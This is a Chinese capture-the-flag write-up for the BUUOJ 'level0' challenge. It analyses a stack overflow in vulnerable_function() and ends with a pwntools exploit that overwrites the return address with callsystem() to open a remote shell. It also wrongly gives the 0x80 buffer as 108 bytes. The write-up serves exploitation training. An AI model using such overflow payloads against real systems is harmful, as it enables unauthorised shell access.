一、查看文件信息
先file ./level0查看文件类型再checksec --file=level0检查一下文件保护情况。
我还是觉得查看保护机制在gdb里顺眼一点:
信息就了解他是64位即可。
二、IDA反编译
main函数信息:
这里再去看vulnerable_function()函数:
双击vulnerable_function()函数可以看到buf的长度只有0x80,即可用栈大小只有108字节,但是read()并没有限制输入,显然存在栈溢出漏洞。
在Functions window可以看到有一个callsystem()函数,按F5反汇编可以看到这是一个系统调用,且callsystem()函数的起始地址为0x400596。
三、代码构造
buf需覆盖0x80个字节覆盖,再加上rbp的0x8个字节,最后加上callsystem()函数的起始地址0x400596构成payload。
from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn', 28566)
payload = b'a'*(0x80 + 0x8) + p64(0x400596)
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互